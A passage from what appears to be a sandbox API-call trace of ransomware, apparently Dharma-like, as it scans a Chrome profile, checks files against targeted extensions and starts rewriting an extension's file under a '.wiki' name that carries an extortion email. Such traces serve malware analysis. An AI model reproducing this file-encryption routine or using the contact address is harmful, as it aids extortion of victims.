HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a058.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.967] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.967] CloseHandle (hObject=0x334) returned 1 [0177.967] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.967] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.967] lstrlenW (lpString=".doc") returned 4 [0177.967] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.967] lstrlenW (lpString=".docx") returned 5 [0177.967] lstrcmpiW (lpString1=".docx", lpString2="8.tmp") returned -1 [0177.967] lstrlenW (lpString=".pdf") returned 4 [0177.967] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.967] lstrlenW (lpString=".xls") returned 4 [0177.967] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.967] lstrlenW (lpString=".xlsx") returned 5 [0177.967] lstrcmpiW (lpString1=".xlsx", lpString2="8.tmp") returned -1 [0177.967] lstrlenW (lpString=".ppt") returned 4 [0177.967] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.967] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.967] lstrlenW (lpString=".zip") returned 4 [0177.967] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.967] lstrlenW (lpString=".rar") returned 4 [0177.967] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.967] lstrlenW (lpString=".bz2") returned 4 [0177.967] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString=".7z") returned 3 [0177.968] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.968] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.968] lstrlenW (lpString=".dbf") returned 4 [0177.968] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.968] lstrlenW (lpString=".1cd") returned 4 [0177.968] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.968] lstrlenW (lpString=".jpg") returned 4 [0177.968] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.968] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.968] lstrlenW (lpString=".doc") returned 4 [0177.968] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString=".docx") returned 5 [0177.968] lstrcmpiW (lpString1=".docx", lpString2="8.tmp") returned -1 [0177.968] lstrlenW (lpString=".pdf") returned 4 [0177.968] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString=".xls") returned 4 [0177.968] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.968] lstrlenW (lpString=".xlsx") returned 5 [0177.968] lstrcmpiW (lpString1=".xlsx", lpString2="8.tmp") returned -1 [0177.968] lstrlenW (lpString=".ppt") returned 4 [0177.968] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.968] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.968] lstrlenW (lpString=".zip") returned 4 [0177.968] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.968] lstrlenW (lpString=".rar") returned 4 [0177.968] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.969] lstrlenW (lpString=".bz2") returned 4 [0177.969] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.969] lstrlenW (lpString=".7z") returned 3 [0177.969] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.969] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.969] lstrlenW (lpString=".dbf") returned 4 [0177.969] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.969] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.969] lstrlenW (lpString=".1cd") returned 4 [0177.969] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.969] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 98 [0177.969] lstrlenW (lpString=".jpg") returned 4 [0177.969] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.969] lstrcmpiW (lpString1=".tmp", lpString2=".wiki") returned -1 [0177.969] lstrlenW (lpString="A059.tmp") returned 8 [0177.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a059.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.970] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.970] CloseHandle (hObject=0x334) returned 1 [0177.970] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.970] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.970] lstrlenW (lpString=".doc") returned 4 [0177.970] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.970] lstrlenW (lpString=".docx") returned 5 [0177.970] lstrcmpiW (lpString1=".docx", lpString2="9.tmp") returned -1 [0177.970] lstrlenW (lpString=".pdf") returned 4 [0177.970] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.970] lstrlenW (lpString=".xls") returned 4 [0177.970] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.970] lstrlenW (lpString=".xlsx") returned 5 [0177.970] lstrcmpiW (lpString1=".xlsx", lpString2="9.tmp") returned -1 [0177.970] lstrlenW (lpString=".ppt") returned 4 [0177.970] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.970] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.970] lstrlenW (lpString=".zip") returned 4 [0177.970] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.970] lstrlenW (lpString=".rar") returned 4 [0177.970] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.970] lstrlenW (lpString=".bz2") returned 4 [0177.970] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString=".7z") returned 3 [0177.971] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.971] lstrlenW (lpString=".dbf") returned 4 [0177.971] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.971] lstrlenW (lpString=".1cd") returned 4 [0177.971] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.971] lstrlenW (lpString=".jpg") returned 4 [0177.971] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.971] lstrlenW (lpString=".doc") returned 4 [0177.971] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString=".docx") returned 5 [0177.971] lstrcmpiW (lpString1=".docx", lpString2="9.tmp") returned -1 [0177.971] lstrlenW (lpString=".pdf") returned 4 [0177.971] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString=".xls") returned 4 [0177.971] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.971] lstrlenW (lpString=".xlsx") returned 5 [0177.971] lstrcmpiW (lpString1=".xlsx", lpString2="9.tmp") returned -1 [0177.971] lstrlenW (lpString=".ppt") returned 4 [0177.971] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.971] lstrlenW (lpString=".zip") returned 4 [0177.971] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.971] lstrlenW (lpString=".rar") returned 4 [0177.971] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.972] lstrlenW (lpString=".bz2") returned 4 [0177.972] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.972] lstrlenW (lpString=".7z") returned 3 [0177.972] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.972] lstrlenW (lpString=".dbf") returned 4 [0177.972] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.972] lstrlenW (lpString=".1cd") returned 4 [0177.972] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 98 [0177.972] lstrlenW (lpString=".jpg") returned 4 [0177.972] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.972] lstrcmpiW (lpString1=".tmp", lpString2=".wiki") returned -1 [0177.972] lstrlenW (lpString="2B03.tmp") returned 8 [0177.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b03.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.973] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.973] CloseHandle (hObject=0x334) returned 1 [0177.973] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.973] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.973] lstrlenW (lpString=".doc") returned 4 [0177.973] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.973] lstrlenW (lpString=".docx") returned 5 [0177.974] lstrcmpiW (lpString1=".docx", lpString2="3.tmp") returned -1 [0177.974] lstrlenW (lpString=".pdf") returned 4 [0177.974] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString=".xls") returned 4 [0177.974] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.974] lstrlenW (lpString=".xlsx") returned 5 [0177.974] lstrcmpiW (lpString1=".xlsx", lpString2="3.tmp") returned -1 [0177.974] lstrlenW (lpString=".ppt") returned 4 [0177.974] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.974] lstrlenW (lpString=".zip") returned 4 [0177.974] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.974] lstrlenW (lpString=".rar") returned 4 [0177.974] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString=".bz2") returned 4 [0177.974] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString=".7z") returned 3 [0177.974] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.974] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.974] lstrlenW (lpString=".dbf") returned 4 [0177.974] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.974] lstrlenW (lpString=".1cd") returned 4 [0177.974] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.974] lstrlenW (lpString=".jpg") returned 4 [0177.974] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.974] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.975] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.975] lstrlenW (lpString=".doc") returned 4 [0177.975] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString=".docx") returned 5 [0177.975] lstrcmpiW (lpString1=".docx", lpString2="3.tmp") returned -1 [0177.975] lstrlenW (lpString=".pdf") returned 4 [0177.975] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString=".xls") returned 4 [0177.975] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.975] lstrlenW (lpString=".xlsx") returned 5 [0177.975] lstrcmpiW (lpString1=".xlsx", lpString2="3.tmp") returned -1 [0177.975] lstrlenW (lpString=".ppt") returned 4 [0177.975] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.975] lstrlenW (lpString=".zip") returned 4 [0177.975] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.975] lstrlenW (lpString=".rar") returned 4 [0177.975] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString=".bz2") returned 4 [0177.975] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString=".7z") returned 3 [0177.975] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.975] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.975] lstrlenW (lpString=".dbf") returned 4 [0177.975] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.975] lstrlenW (lpString=".1cd") returned 4 [0177.975] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.975] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 101 [0177.975] lstrlenW (lpString=".jpg") returned 4 [0177.975] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.976] lstrcmpiW (lpString1=".tmp", lpString2=".wiki") returned -1 [0177.976] lstrlenW (lpString="2B04.tmp") returned 8 [0177.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b04.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.976] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.976] CloseHandle (hObject=0x334) returned 1 [0177.976] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.976] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.976] lstrlenW (lpString=".doc") returned 4 [0177.976] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.976] lstrlenW (lpString=".docx") returned 5 [0177.976] lstrcmpiW (lpString1=".docx", lpString2="4.tmp") returned -1 [0177.977] lstrlenW (lpString=".pdf") returned 4 [0177.977] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString=".xls") returned 4 [0177.977] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.977] lstrlenW (lpString=".xlsx") returned 5 [0177.977] lstrcmpiW (lpString1=".xlsx", lpString2="4.tmp") returned -1 [0177.977] lstrlenW (lpString=".ppt") returned 4 [0177.977] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.977] lstrlenW (lpString=".zip") returned 4 [0177.977] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.977] lstrlenW (lpString=".rar") returned 4 [0177.977] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString=".bz2") returned 4 [0177.977] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString=".7z") returned 3 [0177.977] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.977] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.977] lstrlenW (lpString=".dbf") returned 4 [0177.977] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.977] lstrlenW (lpString=".1cd") returned 4 [0177.977] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.977] lstrlenW (lpString=".jpg") returned 4 [0177.977] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.977] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.977] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.977] lstrlenW (lpString=".doc") returned 4 [0177.977] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString=".docx") returned 5 [0177.978] lstrcmpiW (lpString1=".docx", lpString2="4.tmp") returned -1 [0177.978] lstrlenW (lpString=".pdf") returned 4 [0177.978] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString=".xls") returned 4 [0177.978] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0177.978] lstrlenW (lpString=".xlsx") returned 5 [0177.978] lstrcmpiW (lpString1=".xlsx", lpString2="4.tmp") returned -1 [0177.978] lstrlenW (lpString=".ppt") returned 4 [0177.978] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.978] lstrlenW (lpString=".zip") returned 4 [0177.978] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0177.978] lstrlenW (lpString=".rar") returned 4 [0177.978] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString=".bz2") returned 4 [0177.978] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString=".7z") returned 3 [0177.978] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0177.978] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.978] lstrlenW (lpString=".dbf") returned 4 [0177.978] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.978] lstrlenW (lpString=".1cd") returned 4 [0177.978] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0177.978] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 101 [0177.978] lstrlenW (lpString=".jpg") returned 4 [0177.978] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0177.979] lstrlenW (lpString="CURRENT") returned 7 [0177.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.980] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=16) returned 1 [0177.980] CloseHandle (hObject=0x334) returned 1 [0177.980] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current")) returned 0x2020 [0177.980] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.980] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.980] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.981] GetLastError () returned 0x0 [0177.981] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x10, lpOverlapped=0x0) returned 1 [0178.274] WriteFile (in: 